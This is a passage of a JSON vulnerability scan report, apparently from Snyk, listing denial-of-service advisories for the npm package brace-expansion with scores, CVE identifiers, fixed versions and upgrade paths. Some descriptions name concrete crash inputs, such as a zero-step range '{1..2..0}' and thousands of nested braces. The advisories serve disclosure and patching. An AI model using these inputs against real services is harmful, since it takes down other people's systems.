"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub 